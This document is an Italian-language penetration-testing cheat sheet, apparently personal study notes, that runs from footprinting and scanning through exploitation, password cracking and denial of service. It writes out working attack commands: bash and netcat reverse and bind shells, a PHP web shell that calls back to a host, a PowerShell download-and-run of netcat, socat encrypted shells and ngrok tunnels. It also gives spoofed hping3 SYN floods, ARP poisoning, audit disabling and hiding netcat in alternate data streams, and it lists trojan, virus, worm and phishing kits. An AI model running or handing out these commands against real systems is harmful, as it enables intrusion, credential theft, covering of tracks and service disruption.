INDICE

SITI UTILI

payload ed exploits

- payload all the things
- hashes
- hacktricks

info utili

- GTFOBins
- Format Specifiers on C

tools

- CyberChef
- pwninit
- One Gadget
- NC for windows

Wordlists

- pwdb-public

Comandi da terminale

Linux

- eseguire file con SUID come l'utente impostato:
  - `./file -p`
- vedere versione sistema operativo:
  - uname -a
  - lsb_release -a
- Scaricare il contenuto di un webserver/web app
  - wget
  - curl
- rpcdump.py - tool from Linux, shows services bound to IP addresses
- `sudo -l` # list all the current permissions
- `lsof -i -P` - shows all open files and listening services
- `df -a` - To see ram drives

Windows

- `TASKLIST` - fa vedere tutti i task attivi (tipo task manager)
- `epdump` - tool from Microsoft windows resource kit, shows services bound to IP addresses
- `reg query` - command to check for Registry entries
- `at` - to find scheduled tasks
- `pslogist` - to retrieve System and Security event logs
- `Get-Localuser` - enumerate active users

Porte Comuni:

> FTP - 20/21 in tcp
> ssh - 22 in tcp
> Telnet - 23 in tcp
> DNS - solitamente la 53 tcp/udp
> HTTP - 80, 8080 in tcp
> kerberos - 88 in tcp
> POP - 110 in tcp, 995 tcp (POP3, SSL)
> NNTP - 119 tcp, 563 tcp (SSL)
> NTP - 123 in UDP
> NetBIOS - 137, 138 in udp, oppure 139 in tcp
> IMAP4 - 143 tcp, 993 tcp (SSL)
> SNMP - 161, 162 udp
> LDAP - 389 tcp, 636 tcp (SSL)
> HTTPS - 443
> SMB - 445 udp
> Active directory - 445 tcp
> SMTP - 465 tcp (SSL), 587 tcp
> OpenVPN - 1194 tcp/udp
> Microsoft SQL Server - 1443
> Microsoft SQL Monitor - 1434
> MySQL o Maria DB - 3306
> Microsoft RDP - 3389
> PostgreSQL - 5631 tcp
> Traceroute - 33434

Info sull'OS

- Windows: TCP 135, 139, 445, 3389 RDP
- UNIX: TCP 22 (SSH), 111, 512-514 (berkeley remote services / rlogin), 2049 (NFS) high numbered ports (3277x) for RPCs

Anonimity

The Onion Router - Tor

Layered cryptography with SOCKS proxy. It creates anonymous TCP connections. It needs a **GUI Client *(VIDALIA)*** and needs a **Web Filtering Proxy *(Privoxy)***

some tools to use it correctly are:

> tor-resolve: to resolve addresses
> proxychains to force connections through Tor
> socat: to relay persistently
>
> to open a proxy listening on localhost and forward all requests through Tor to the target:
>
> > socat TCP4-LISTEN:8080, fork SOCKS4a:127.0.0.1:10.10.10.100:80, socksport=9050 &

FOOTPRINTING

Siti Utili

- https://osintframework.com

Phone Numbers

- phonenumber.com
- 411.com
- yellowpages.com

Other personal detail

- blackbookonline.info
- peoplesearch.com
- social networks

JobPosting and resumes

- monster.com
- careerbuilder.com
- linkedin.com

Google Advanced Search

La barra di ricerca di google permette di ricercare numerose informazioni semplicemente specificando delle keyword

> Alcuni dei comandi più utili sono:

> cache: mostra le pagine nella cache di google
> link: mostra pagine contenenti link alla pagine ricercata
> related: mostra pagine simili a quella ricercata
> info: stampa info riguardo il tito
> site: cerca su un determinato sito
> filetype: cercano determinati tipi di file
> allintitle / intitle: cercano le keyword nel titolo
> allinurl / inurl: cerca le keyword nell'url
> location: cerca informazioni per una specifica location
> allinanchor / inancor: cerca informazioni nelle ancore

Google Hacking Database - GHDB

Qui si trovano le stringe usate dagli hacker

> hackersforcharity.org/ghdb

Web Data Extractor Pro - Applicazione

Tool per estrarre tutti i dati da uno specifico sito web dato l'url di arrivo.

WhoIs Domain Tools - Sito Web

> http://whois.domaintools.com

Estrae dettagli utili sull'url specificato nel campo di ricerca della pagina, come dettagli sull'organizzazione, servers, IP, ecc...

Teleport Pro - Windows

Applicazione per scaricare le pagine web per consultarle offline

Altri footprinting tool utili

- `Athena - snakeoillabs.com`: ricerche nella cache di google
- `SiteDigger - foundstone.com`: ricerche nella cache di google
- `Wikto - sensepost.com/research/Wikto`: ricerche nella cache di google
- `FOCA - informatica64.com/foca.aspx`: analisi dei metadati di file web per leak di informazioni
- `Maltego - paterva.com`: mining e collegamento di pezzi di informazioni rilevanti per un soggetto

traceroute

Permette di tracciare tutti gli hop che vengono fatto da un pacchetto fino alla destinazione

WIndows:

> *ICMP*: tracert link.dom

Linux:

> *UDP*: traceroute link.dom
> *TCP*: tcptraceroute link.dom

whois

tool da terminale o da web (https://who.is/). è il protocollo per l'interrogazione dei database che ospitano informazioni riguardanti gli assegnatari di una risorsa Internet come nomi di dominio, indirizzi IP e sistemi autonomi.

DNS interrogation

useful commands / Scripts

- dnsrecon
- nslookup
- dnsenum
- dnsmap
- fierce
- host

SCANNING

NMap

Tool di scansione della rete molto efficace e con numerosissime opzioni e modalità di scan

> nmap ***[target ip]***
>
> per un range di IP: ***a.b.c.d1-d2*** (ip da a.b.c.d1 fino a ...d2)
>
> some options:
>
> > -sn: disables port scan
> > -PR: ARP ping scan
> > -PU: UDP Ping scan
> > -PE: ICMP Echo Ping scan
> > -PP: ICMP timestamp ping scan
> > -PM: ICMP Address mask ping scan
> > -PS: TCP SYN Ping scan
> > -PA: TCP ACK Ping Scan
> > -PO: Protocol Ping Scan
>
> information options:

> -sV: mostra info su servizi e versioni
> -sS: mostra info della scan TCP (solo syn, senza conferme)
> -sT: mostra info della scan TCP con connessioni
> -sC: usa script per ottenere ulteriori info

per le porte

> -p: per inserire una porta singola (-p 80) o un intervallo (-p 1-1000)
> --top-ports *n*: le *n* porte più usate

stealth mode

> --scan-delay *t*: delay tra le richieste successive
> -T*x*: *x* è un parametro da 0 a 5 e decide la velocità delle scan
> --datalenght *n*: padding aggiuntivo ai pacchetti per raggiungere una dimensione prestabilita

altri comandi

> -O: rileva il sistema operativo in uso -A: equivale a -O -sV -sC --script *script*: esegue uno script specifico --reason: shows a new column with REASON -v: verbose, quindi aumenta i commenti e le info stampate -send-IP : seleziona il range di ip da scansionare

Scan con ping arp per vedere se degli host sono vivi:

> nmap -sn -PR -send-IP

> Can use numerous scripts used throught the tag ***--script=...***
> https://nmap.org/nsedoc/scripts/

arp-scan

run as root by sudo to list all IP-MAC pairs in the network

> arp-scan --interface=wlan0 –localnet

superscan

Multiple pings in parallel to scan hosts. Can be ICMP, TCP or UDP

MegaPing - Windows

Toolkit che aiuta a rilevare host vivi e le porte aperte di un sistema in una rete. Si può scansionare l'intera rete. Contiene numerosi tool utili per analisi di reti ecc...

- ***Ip Scanner*** Permette di verificare quali host sono raggiungibili (e quindi attivi) e quali no dalla rete locale, in un determinato range
- ***Port Scanner*** Permette di selezionare numerosi host e scansionarne le porte aperte

Unicornscan - Linux

Command line network information gathering and reconnaissance tool. Asynchronous TCP and UDP port scanner and banner grabber.

> unicornscan ***[ipaddress]***
>
> alcune opzioni sono:
>
> > -I: immediate mode -v: verbose mode

tips and tricks:

- se il ***TTL è 128***, probabilmente la macchina è un Windows Server
- se il ***TTL è 64***, la macchina è linux based

Intercettazioni

tcpdump

```
sudo tcpdump -i eth0 443
```

responder

```
sudo responder -I eth0
```

snort

Protocolli vulnerabili a Sniffing

- telnet e Rlogin: keystrokes like usernames and passwords are sent in clear
- HTTP: data is sent in clear text
- POP: passwords and data are sent in clear text
- IMAP: passwords and data are sent in clear text
- SMTP and NNTP: passwords and data are sent in clear text
- FTP: passwords and data are sent in clear text
- SNMP: the first version (SNMPv1) uses clear text to transfer data

Siphon

fingerprinting database used to understand what OS is installed based on some intercepted traffic

---

ENUMERATION

---

robots.txt file

https://indirizzo/robots.txt

gobuster

tool da terminale linux che serve per enumerare le porte di un server HTTP.

> alcuni tag utili:
>
> > --wordlist: serve per specificare la wordlist da usare per ricercare le directory

> Per enumerare i sottodomini:
>
> > gobuster dns -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt -d google.com
>
> per enumerare i virtual host
>
> > gobuster vhost -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt -u www.google.com

dirsearch

tool per enumerare tutte le cartelle accessibili di un dominio web. Ad esempio:

> dirsearch -u cypher.htb -t 50 -x 404

OWASP's dirbuster

tool per enumerare file e cartelle ricorsivamente. Facile da rilevare -> proxare con privoxy per nascondere le tracce

git-dumper

tool per scaricare un eventuale repository esposta online

fare il check https://url/.git/ . se accessibile, allora usare il tool per scaricare tutto

- https://github.com/arthaud/git-dumper

> pip install git-dumper

> git-dumper http://ip/.git/ ./cartella_a_scelta

NetBios Command Line Tool - Windows

Tool per effettuare enumerazione di rete.

> nbtstat
>
> > -a [remote name]: mostra la NetBIOS name table del computer remoto
> > -A [IP Address]: mostra la name table del computer remoto -c: mostra i contenuti del NetBios name cache -n: mostra i nomi registrati localmente da NetBIOS -r: mostra il conteggio di tutti i nomi risolti tramite broadcast -s: lista le tabelle di sessione NetBIOS convertendo IP di destinazione con i NetBios names.

Comando per mostrare le informazioni sul target come stato di connessione, shared drive e informazioni di rete.

```
net use
```

Comando per listare tutti i domini o i computer per dominio:

```
net view /domain
```

NetBIOS Enumerator - Windows

Tool per enumerare una rete remota con informazioni su dominio, server ecc...

Other tools for NetBIOS Name Service:

- NLTEST and NETDOM - Find domain controllers
- NETVIEWX finds specific services
- NBTSTAT - collects info from a single system (above)
- NBTSCAN - scans a whole range of addresses, dumping the NetBIOS tables
- NMBscan - Kali Linux tool

sqlmap

Tool da terminale linux che permette facilmente di provare tutti i possibili attacchi di SQL injection in maniera automatica dato un sito.

il comando da lanciare è:

```
sqlmap
```

alcune opzioni utili sono:

> --os-shell: prova ad ottenere l'accesso ad una shell remota, exploitando anche la vulnerabilità --cookie="COOKIE=VALORE": per impostare cookie come PHPSESSION --auth-type="...": con valori predefiniti, serve per impostare il tipo di auth da http header --dbs: enumerates DBMS Databases -D [database]: scegli un database da testare --tables: enumerates DBMS database tables -T [tabella]: scegli una tabella da enumerare --dump: dump all content of a table

Wappalyzer

Estenzione web che mostra tutte le componenti di una pagina e tutti i linguaggi di cui è composta

netstat - Windows (non so se anche su linux)

permette di vedere tutte le connessioni attualmente attive su windows

```
netstat -aon

netstat -anlp
```

crackmapexec

tool in python utile per fare pentesting a livello di rete per Active Directory. Funziona bene con SMB.

Esempio di utilizzo:

> crackmapexec smb [IP] -u "user" -p "pass" --rid-brute

NXC

tool simile a crackmapexec, funziona sempre con SMB

> nxc smb 10.10.xx.xx -u username -d domain.dom -p 'password'

Tag Aggiungibili

> --shares: enumerazione delle share

dig

> dig @10.219.100.1 version.bind txt chaos +norecurse
>
> tag +norecurse to analyze only local DNS

dnsenum

tool to enumerate DNS

user2sid / sid2user

tool per enumerare tutti gli utenti su una macchina e il loro SID da remoto -> si può trovare l'account admin da remoto

SNMP enumeration tools

- snmputil - WINDOWS NT resource kit
- snmpget / snmpwalk - LINUX
- IP Network Browser - Graphical tool

Bloodhound-Python

tool che fa enumeration su Active Directory per trovare possibili vie d'accesso.

restituisce dei JSON con l'elenco di tutti i permessi per ogni utente, cartella, ecc...

EXPLOITATION

FTP

Protocollo di trasferimento file aperto sulla porta ***21*** in ***tcp***.

Solitamente esiste un account senza password, con username ***anonymous***

SMB

protocollo di connessione tra client, utilizzabile da terminale linux. Gira sulla porta ***445***

Comandi:

> smbclient: per utilizzare il client
>
> alcuni tag:
>
> > -N: utenze senza password -L *ip*: per listare le shared directory aperte su un ip.

List delle utenze senza password:

```
smbclient -N -L [IP TARGET]
```

SMBMAP

Tool utile per enumerare directories su smb

Comando da terminale:

```
smbmap
```

Alcuni tag utili:

```
-H [IP HOST REMOTO] -u 'Username' -p 'password'
```

netcat (nc)

semplice utilità unix per leggere e scrivere dati attraverso connessioni sulla rete, usando TCP e UDP

tag utili:

```
-e: configura un programma da eseguire alla connessione
-l: listen mode
-p port: specifica una porta locale
-u: UDP mode
-i secs: interval of seconds to wait
-v: verbose mode
-n: numeric only ip addresses (No DNS)
```

tcp bind shell:

> sul pc vittima
>
> > nc -e bash -lp 4444
> >
> > (oppure, se -e è disabilitato)
> >
> > mkfifo fifo; nc -lp 4444 < fifo | bash > fifo

> sul pc attaccante
>
> > nc victim_addr 4444

tcp reverse shell:

> sul pc vittima
>
> > nc -e bash attack_addr 4444
> >
> > (oppure, se -e è disabilitato)
> >
> > mkfifo fifo; nc attack_addr 4444 < fifo | bash > fifo
>
> sul pc attaccante:
>
> > nc -lp 4444

telnet

per connettersi ad un ip su una porta specifica (utile se in ascolto con netcat)

PsExec - SysInternal di Microsoft

permette remote code execution con username e password

> psexec \\10.1.1.1 -u username -p password -s cmd.exe

PYTHON

se python viene eseguito da root può essere sfruttato con librerie che accedono al sistema operativo

per aprire una shell

> python3 -c "import pty;pty.spawn("/bin/bash")"

per usare la shell da python

> import os os.setuid(0) // se il binario di python ha il setuid abilitato si fa privex così os.system("shell commands")

ffuf

fuzzing tool for web sites:

> ffuf -w [wordlist] -u [URL] -h hostname -fs ...

for DNS enumeration:

> ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.cypher.thm" -u http://10.10.11.57

IMPACKET SUITE

suite of tools preinstalled in kali linux

- microsoft sql server tools
- dacl editor to modify permissions on windows ACLs:

  > impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/"ryan":"WqSZAFXXXXXXXXXX"

- ...

EVIL-WINRM

Tool per exploitare WINRM da remoto - KALI

> evil-winrm -i 10.10.11.51 -u "user" -p "pass"

certipy-ad

tool per ottenere NTHash e credenziali di un utente specifico (ca_svc nell'esempio) avendo l'accesso tramite un altro utente (ryan in questo caso)

> certipy-ad shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51'

PASSWORD CRACKING

Alcuni comandi utili per il processo di password cracking

- Linux:
  - creare file unico con username e passwords:

    > unshadow /etc/passwd /etc/shadow > target-file

- Windows:
  - password nel SAM trovabili nel %systemroot%\system32\config\SAM
    - bloccato finchè il sistema runna
    - trovabili anche nei registri: HKEY_LOCAL_MACHINE\SAM
  - windows 2000+ si trovano in active directory: %windiw%\WindowsDS\ntds.dit

John The Ripper

> https://www.openwall.com

Tool da terminale linux che riesce a crackare le password dal file con gli hash (shadow)

si usa da terminale con il comando:

> john file_hash.txt

Comandi e opzioni utili:

> usare una wordlist
>
> > john --wordlist=Passwords.txt target-file
>
> stampare i risultati in un file, dopo la scansione:
>
> > john --show target-file > results.txt

esiste una versione che riesce ad estrarre gli hash dagli zip per ottenerne le password:

> zip2john file.zip
>
> Questo comando restituisce gli hash. Reindirizzandolo in un file .txt si ottiene un file utilizzabile direttamente da johnTheRipper.

Comando per crackare hash dumpati dalla cache di windows:

> john -format:mscash hashs.txt

mkpasswd

tool che permette di hashare le password con qualsiasi algoritmo. Utile per capire quale hash sta venendo usato

> mkpasswd -m sha-512 Password1234

solitamente i primi caratteri sono indicativi dell'hash utilizzato

Cain & Abel

password recovery tool for windows. Can also be used for sniffing and password cracking. Permette di trovare le password nei file delle password del sistema, nel tab "CRACKER"

> https://github.com/xchwarze/Cain

Windows Credential Editor - WINDOWS TOOL

Tool per ottenere tutte le credenziali di login in memoria. Ottima per rubare le credenziali non salvate localmente.

Default Password lists

- https://open-sez.me
- https://www.fortypoundhead.com
- https://cirt.net

- http://www.defaultpassword.us
- https://www.routerpasswords.com
- https://default-password.info

L0phtCrack

Designated to audit passwords and recover applications. Recovers lost Windows passwords with hybrid attacks

Molto efficace anche su macchine in remoto, basta aver accesso ad un account su tanti e potersi connettere alla macchina

> https://www.l0phtcrack.com

ophcrack

Windows Password Cracker based on rainbow tables. Comes with GUI and runs on multiple platforms

> https://ophcrack.sourceforge.io

Rainbow Crack

Cracks hashes with rainbow tables attacks, using time-memory trade-off algorithm.

> http://project-rainbowcrack.com

THC-Hydra

public tool on Github. parallelized login cracker that can attack numerous protocols.

command line tool. Example:

> hydra -L /root/Wordlists/Usernames.txt -P /root/Wordlists/Passwords.txt ftp://10.10.10.10

Altri Tools

- hashcat: https://hashcat.net
- Medusa: http://foofus.net
- pwdump
- Elcomsoft
- LCP

bloodyAD

tool per accedere ad una AD da linux -> presente in kali

> bloodyAD --host '10.10.XX.XX' -d 'escapetwo.htb' -u 'ryan' -p 'WqSZAF6XXXXXXXX' set owner 'ca_svc' 'ryan'

REVERSE SHELL

Sito che spiega come funzionano

> https://explainshell.com/explain?cmd=sh+-i+%3E%26+%2Fdev%2Ftcp%2F1.2.3.4%2F4444+0%3C%261#

bersaglio Linux

su kali si hanno delle webshell standard nella cartella

> /usr/share/webshells

la procedura è sempre la stessa:

1. scrivere uno script bash:

shell.sh:

> #!/bin/bash bash -i >& /dev/tcp/[IP TARGET]/[PORTA] 0>&1

2. aprire una porta usando netcat:

> nc -nvlp [PORTA]

3. apri in ascolto python http server (stessa cartella dello shell.sh):

> python3 -m http.server [PORTA]

4. eseguire http://[IP]:[PORTA]/shell.sh da remoto per eseguire lo script.sh sul terminale remoto
5. usare shell dal listener nc che era aperto prima

Se si ha accesso già al pc remoto

1. dal tuo pc: `nc -nvlp [PORTA]`
2. dal pc vittima: `bash -i >& /dev/tcp/[IP_TARGET]/[PORTA] 0<&1`

bersaglio WINDOWS

1. scaricare il file nc64.exe
2. aprire porta netcat in ascolto:

> nc -nvlp [PORTA]

3. aprire in ascolto python http server dalla cartella in cui si è scaricato nc64.exe:

> python3 -m http.server [PORTA]

4. inserire il file nc64.exe sulla macchina remota:

> powershell -c wget http://[IP]:[PORTA]/nc64.exe -outfile nc64.exe

5. connettere cmd.exe alla nostra macchina tramite netcat:

> powershell -c .\nc64.exe -e cmd.exe [IP] [PORTA]

Passarsi i file da remoto

1. andare nella cartella del file da passare
2. aprire un server python su una porta libera `python3 -m http.server [PORTA]`
3. connettersi dal proprio pc a: `[indirizzo_ip]:[porta]/[nome_file_da_scaricare]`

socat

TCP bind Shell

> on the victim pc:
>
> > socat TCP-LISTEN:4444 EXEC:bash,stderr
>
> on the attacker pc:
>
> > socat TCP:victim_address:4444 FILE:`tty`

TCP reverse Shell

> on the victim pc:
>
> > socat TCP:attacker_address:4444 EXEC:bash,stderr
>
> on the attacker pc:
>
> > socat TCP-LISTEN:4444 FILE:`tty`

TCP reverse ENCRYPTED shell

1. on the attacker pc create a X509 certificate (self-signed, default 30 days validity)

> openssl req -newkey rsa:2048 -nodes -x509 -keyout shell.key -out shell.crt

2. Put key and certificate together

> cat shell.key shell.crt > shell.pem

3. listen for new connections on the attacker pc

> socat OPENSSL-LISTEN:4445,cert=./shell.pem,verify=0 FILE:`tty`

4. On the victim box connect to it:

> socat OPENSSL:attack_box:4445,verify=0 EXEC:bash,stderr

Back Channels

1. run the following commands in two separated windows on the attacker system:

   ```
   nc -lnvp 80
   nc -lnvp 25
   ```

2. the attacker exploits a vulnerability to run the following command in the target system

   ```
   telnet [attacker_ip] 80 | sh | telnet [attacker_ip] 25
   ```

3. Now the attacker's shell windows are connected to the target system

4. The attacker runs a command in the first window on theattacker's system. The target system reads the commands,executes it locally, and it returns the result to the second window of the attacker

NGROK

METHOD 1

prerequisites: Install ngrok from the site and authenticate is + Netcat installed

1. Open a netcat listener on local machine

   ```
   nc -lvp 4444
   ```

2. Expose the port to the internet using ngrok, in another terminal

   ```
   ngrok tcp 4444
   ```

   look for the output:

   ```
   Forwarding \t\t tcp://4.tcp.eu.ngrok.io:[PORT] -> localhost:4444
   ```

3. on the victim machine run `cat /tmp/f|sh -i 2>&1|nc [ngrok-host] [ngrok-port] > /tmp/f`

Living Off The Land

1. take the IP addreess of the ngrok endpoint resolving the hostname:

   ```
   nslookup 4.tcp.eu.ngrok.io
   ```

2. use that IP address in the netcat command on the remote machine:

   ```
   bash -i >& /dev/tcp/[NGROK-IP]/[NGROK-PORT] 0>&1
   ```

   or, if we are out of a bash environment:

   ```
   bash -c "bash -i >& /dev/tcp/[NGROK-IP]/[NGROK-PORT] 0>&1"
   ```

SHELL STABILIZATION

in order to use job control commands (with CTRL), reset TERM, line editing, ecc...

After connecting the shell, if ***python*** is available on the victim machine:

> python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm

Then press CTRL+Z to background the actual terminal and return to the local terminal. Then write:

> stty raw -echo; fg

This last line disables line buffering and special character interpretation, disables character echoing and configures the local terminal to pass input directly to the remote shell.

WEB SHELL

PHP WEB SHELL

- ref

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
>
```

MALWARES

Trojan Horse Construction Kits:

- DarkHorse Trojan Virus Maker
- Trojan Horse Construction Kit
- Senna Spy Trojan Generator
- Batch Trojan Generator
- Umbra Loader - Botnet Trojan Maker
- Theef RAT Trojan
  - Written in DELPHI, Allows remote attackers access to the system via port 9871
  - La vittima deve avviare il server, il client poi si connette da remoto
- njRAT Trojan Maker:
  - crea eseguibile da far cliccare alla vittima

Virus Maker Tools

- DELmE's Batch Virus Maker
- Bhavesh Virus Maker SKW
- Deadly Virus Maker
- SonicBat Barch Virus Maker
- TeraBIT Virus Maker
- Andreinick05's Batch Virus Maker
- JPS Virus Maker
    - pieno di opzioni d molto semplice da usare, interfaccia vecchia

Worm Makers

- INternet Worm Maker Thing
- Batch Worm generator
- C++ Worm Generator

SOCIAL ENGINEERING

Social Engineering Toolkit: SET

is an open-source Python-Driven tool aimed at penetration testing around social engineering

> https://www.trustedsec.com

Other Social Engineering Tools

- SpeedPhish Framework (SPF): on github
- Gophish: https://getgophish.com
- King Phisher: on github
- LUCY: https://www.lucysecurity.com
- MSI Simple Phish: https://microsolved.com

Phishing

tool utili per provare a fare phishing, tutti trovabili su github.

- **ShellPhish**: Tool da terminale che aiuta ad ottenere credenziali dai vari social network, come insta, faceboook, twitter ecc...
- **BlackEye**
- **PhishX**
- **Modlishka**
- **Trape**

- **Evilginx**

Alcuni tool utili per Contrastare il phishing sono:

- Anti Phishing Toolbars, come:
  - Netcraft: https://www.netcraft.com
  - PhishTank: https://phishtank.com

OnPhish

used to audit organization's security for phishing attacks using various phishing methods.

> https://ohphish.eccouncil.org

Tools utili per analizzare la sorgente delle mail

- robtex
- PhishTank

HIDING TRACKS

disable auditing

> auditpol /disable

Clearing logs

- Windows:
  - ElSave: command line tool per pulire i log, scritto per windows NT

Hiding Files

- Windows:
  - aggiungere il bit "hide" ai file in modo da nasconderli
    - > attrib +h filename
- **alternate data streams (ADS)**: nascondere un file dentro un file
  - > echo "..." > original.txt:nascosto.txt
  - Usando l'utility cp (Posix).
    - > cp nc.exe oso001.009:nc.exe //per nascondere netcat

        - `cp oso001.009:nc.exe nc.exe //per riottenere netcat`
        - `start oso001.009:nc.exe //per eseguire netcat nascosto`
    - Per rimuovere ADS basta copiare il file in una partizione FAT e rispostarlo nella NTFS

Rootkit

best way to hide files, accounts, backdoors, network connections, etc. on a machine.

PRIVILEGE ESCALATION

Peas

Tool che scansione il sistema ed elenca tutte le possibili strade per ottenere priviledge excalation

- Windows:
    - WinPeas
- Linux:
    - LinPeas

LinPEAS - Linux Privilege Escalation Awesome Script

A script that searches for possible paths to escalate priviledges on Unix (not just Linux) hosts:

- checks are explained on hacktricks

This script is very noisy and easy to detect!!

LES - Linux Exploit Suggester

Assist in detecting security deficiencies for given Linux kernel/Linux-based machine

- Assess kernel exposures on publicly known exploits
    - for each exploit exposure is calculated: Highly probable/probable/less probable/improbable
- Verify state of kernel hardening security measures

NETWORK ATTACKS

Sniffing Tools

macof - Mac Flooding Tools

macof is a Unix/Linux Tool that floods the switch's CAM tables by sending fake MAC entries.

> macof -i etho0 -n 10

> -s src: source address -d dst: destination -x sport: source port -y dport: destination port -i interface -n times: number of packets to send

arpspoof - ARP Poisoning Tool

> https://linux.die.net

redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies

> arpspoof -i [INterface] -t [Target Host] [victim host]

Esempio:

> arpspoof -i eth0 -t 10.10.1.1 10.10.1.10 // con 10.10.1.1 che è il default gateway e 10.10.1.10.l'host

Other ARP Poisoning TOOLS

- BetterCAP: www.bettercap.org
- Ettercap: www.ettercap-project.org
- dsniff: www.monkey.org
- MITMf: su github
- Arpoison: sourceforge.net

Wireshark

> https://www.wireshark.org

helps analyzing captured packets (.pcap)

Other Sniffing Tools:

- SteelCentral Packet Analyzer: https://www.riverbed.com
- Capsa Network Analyzer: https://www.colasoft.com
- Observer Analyzer: https://www.viavisolutions.com
- PRTG Network Monitor: https://www.paessler.com
- SolarWinds Deep Packet Inspection and Analysis: https://www.solarwinds.com

---

DoS/DDoS

UDP based applications that can be used to attack with UDP flood

> CharGEN (Port 19)
> SNMPv2 (Port 161)
> QOTD (Port 17)
> RPC (Port 135)
> SSDP (Port 1900)
> CLDAP (Port 389)
> TFTP (Port 69)
> NetBIOS (Port 137, 138, 139)
> NTP (Port 123)
> Quake Network Protocol (Port 26000)
> VoIP (Port 5060)

hping3

> http://www.hping.org

command-line-oriented network scanning and packet crafting tool for the TCP/IP protocol that sends ICMP echo requests and supports TCP,UDP,ICMP and raw-ip protocols.

esempi di utilizzo:

SYN flooding attack

```
hping3 -S 10.10.10.10 -a 10.10.10.19 -p 22 --flood
```

Ping of Death Attacks

```
hping3 -d 65538 -S -p 21 --flood 10.10.10.10
```

UDP Flooding attack (se aperta porta 139 in udp)

```
hping3 -2 -p 139 --flood [target ip]
```

Alcune opzioni

> -S: sets the syn flag -a [Spoofable IP Address]: spooofs the IP address to a selected one -p xx: specifies the destination port --flood: sends a huge number of packets -d nn: dimensioni pacchetto arbitrarie -2: UDP MODe

High Orbit Ion Cannon (HOIC)

> https://sourceforge.net

HOIC is a network stress and DoS/DDoS attack application written in BASIC language. It sends HTTP POST and GET requests to a computer that uses lulz-inspired GUIs.

some of its features are:

- HTTP floading
- simoultaneously flooding up to 256 websites
- select the number of threads in an ongoing attack
- ability to throttle attacks individually with three settings

- portability with Linux

Low Orbit Ion Cannon (LOIC)

> https://sourceforge.net

LOIC is a network stress testing and DoS attack application. LOIC attacks can be called application-based DOS attacks because they primarily focus web applications.

LOIC can be used on target sites to flood the server with TCP, UDP, HTTP packets to disrupt the service

Other DoS/DDoS Tools:

- XOIC: http://anonhacktivism.blogspot.com
- HULK: https://siberianlaika.ru
- Tor's Hammer: https://souceforge.net
- Slowloris: su github
- PyLoris: https://souceforge.net
- R-U-Dead-Yet: https://souceforge.net

DoS/DDoS PROTECTION TOOLS

- Anti DDoS Guardian: http://beethink.com
- Imperva DDoS Protection: https://www.imperva.com
- DOSarrest's DDOS protection service: https://www.dosarrest.com
- DDoS-GUARD: https://ddos-guard.net
- Cloudflare: https://www.cloudflare.com
- F5: https://f5.com

SESSION HIJACKING

Session Hijacking Tools

- OWASP ZAP: https://owasp.org
- Burp Suite: https://portswigger.net
- netool toolkit: on sourceforge
- WebSploit Framework: on sourceforge
- sslstrip: https://pypi.org

bettercap

linux command-line tool for session hijacking. Sends several ARP broadcast requests to the hosts (or potential active hosts.)

> https://bettercap.org

execution example from linux terminal:

> bettercap - iface eth0
>
> una volta entrati nel tool:
>
> > net.probe on net.recon on // displays the detected ip addresses in the network in real time and starts sniffing packets.

Per riconoscere l'attacco con Wireshark, basta tenere d'occhio se compare un elevato numero di richieste ARP in broadcast, sintomo che bettercap ad esempio è attivo

Session Hijacking Detection Tools

- Wireshark: https://www.wireshark.org
- USM Anywhere: https://cybersecurity.att.com
- Check Point IPS: https://www.checkpoint.com
- LogRhythm: https://logrhythm.com
- SolarWinds Security Event Manager (SEM): https://www.solarwinds.com
- IBM Security Network Intrusion Prevention System: https://www.ibm.com

---

WEB SERVER AND APPLICATIONS

Web Server

Metasploit

> https://www.metasploit.com

Exploit development platform that supports fully automated exploitation of web servers, by abusing known vulnerabilities and leveraging weak passwords

Other tools for Web Server Attacks

- Immunity's CANVAS: https://www.immunityinc.com
- THC Hydra: su github
- HULK DoS: su github
- MPack: su sourceforge
- w3af: https://w3af.org

Web server Security Tools

- Fortify WebInspect: https://www.microfocus.com
- Acunetix Web Vulnerability Scanner: https://www.acunetix.com
- Retina Host Security Scanner: https://www.beyondtrust.com
- NetIQ Secure Configuration Manager: https://www.netiq.com
- SAINT Security Suite: https://www.carson-saint.com
- Sophos Intercept X for Server: https://www.sophos.com

Web Application

OWASP TOP 10 for most important vulnerabilities.

Exploit Sites

- Exploit Database: https://www.exploit-db.com
- SecurityFocus: https://www.securityfocus.com

Burp Suite

> https://portswigger.net

Integrated platform for performing security testing of web applications. It has various tools that work together to support the entire testing process, from the initial mapping and analisys to the exploit of security weaknesses.

Some built-in tools are:

- **INtercepting proxy** for inspecting and
- **Application-aware spider** for crawling content and functionality
- **Web application scanner** for automating the detection of numerous types of vulnerabilities
- **intruder tool** for performing customized attacks to find and exploit unusual vulns
- **repeater tool** for manipulating and resending individual requests
- **sequencer tool** for testing the randomness of session tokens

OWASP Zed Attack Proxy (ZAP)

> https://www.owasp.org

OWASP Zed Attack Proxy (ZAP) is an integrated penetration testing tool for finding vulnerabilities in web applications. It offers automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. Attackers use OWASP ZAP for web spidering/crawling to identify hidden content and functionality in the target web application.

Other Web Application attack tools:

- Metasploit: https://www.metasploit.com
- w3af: http://w3af.org
- Nikto: https://cirt.net
- Sn1per: su github
- WSSiP: su github

Web App testing Tools

- N-Stalker Web App Security Scanner: https://www.nstalker.com
- Acunetix WVS: https://www.acunetix.com
- Browser Exploitation Framework (BeEF): http://beefproject.com
- Metasploit: https://www.metasploit.com
- PowerSploit: su Github
- Watcher: https://www.casaba.com

SQL Injection Tools

SQLMAP

> http://sqlmap.org

Open-Source Penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and the taking over of a database.

Damn Small SQLi Scanner (DSSS)

tool ottenibile su github. è un eseguibile python. Il readme è molto esplicativo.

Esempio di uso:

> python3 dsss.py -u "http://sitotarget" --cookie="[cookie_del_sito]"
>
> questa esecuzione semplice avvisa solamente se esiste una possibilità di sql injection. INoltre manda un link per i risultati di una SQL injection che espone il database.

Tags:

